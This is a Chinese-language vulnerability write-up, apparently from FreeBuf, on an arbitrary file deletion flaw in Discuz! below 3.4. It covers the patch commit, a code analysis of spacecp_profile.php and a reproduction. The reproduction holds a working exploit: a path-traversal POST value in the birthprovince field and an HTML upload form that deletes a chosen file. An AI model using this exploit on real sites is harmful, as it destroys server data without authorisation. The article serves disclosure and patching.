Discuz! 任意文件刪除漏洞重現及分析
0x00 概述
9月29日,Discuz修復了
一個前台任意文件刪除的漏洞,相似的漏洞曾在2014年被提交給wooyun和discuz官方,但是修復不完全導致了這次的漏洞。
(文中鏈接請閱讀原文查看)
0x01 影響範圍
Discuz < 3.4
0x02 漏洞重現
環境:win7+phpstudy+discuz3.2
新建importantfile.txt作為測試
進入設置-個人資料,先在頁面源代碼找到formhash值
http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile
可以看到formhash值是b21b6577。
再訪問10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
Post數據:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577
如圖
執行後
出生地被修改成要刪除的文件。
最後構造表單執行刪除文件
<form action=」http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base」 method=」POST」 enctype=」multipart/form-data」><input type=」file」 name=」birthprovince」 id=」file」 /><input type=」text」 name=」formhash」 value=」b21b6577″/></p><input type=」text」 name=」profilesubmit」 value=」1″/></p><input type=」submit」 value=」Submit」 /></from>
隨便上傳一張圖片,即可刪除importantfile.txt
成功刪除importantfile.txt,重現成功!
0x03 修復方案
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
刪除unlink相關代碼。
0x04 漏洞分析
根據補丁,漏洞存在於upload/source/include/spacecp/spacecp_profile.php。
先看第70行
if(submitcheck(『profilesubmit』)) {
提交1進入這個判斷。
來到220行,補丁前:
往上看來到:
可以看出文件上傳成功就可以進入228行的unlink從而刪除指定文件。
現在就看如何控制指定文件,也就是控制key]這個變數。
繼續往上看來到:
可以看出space存用戶資料,就可以利用space[birthprovince]存要刪除的文件。
那如何修改birthprovince為指定文件呢,直接post提交就繞過限制了。
總結整個漏洞利用流程:
修改birthprovince->上傳圖片->執行unlink->刪除任意文件
0x05 結語
刪文件……,大家不要亂搞,該補的趕緊補,discuz樹大招風,2014的補丁又不補完全,正是這樣攻與防的不斷博弈,使安全界生機勃勃,妙趣橫生,也使互聯網愈發安全穩固。
0x06 參考資料
https://www.seebug.org/vuldb/ssvid-96608
https://www.seebug.org/vuldb/ssvid-93588
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php
*本文作者:LSA,轉載請註明來自FreeBuf.COM
※黑帽SEO剖析之隱身篇
※來自後方世界的隱匿威脅:後門與持久代理(一)
※黑帽SEO剖析之工具篇
※反取證技術:內核模式下的進程隱蔽
※如果GDPR實施的話Equifax的處境會怎麼樣?
TAG:FreeBuf |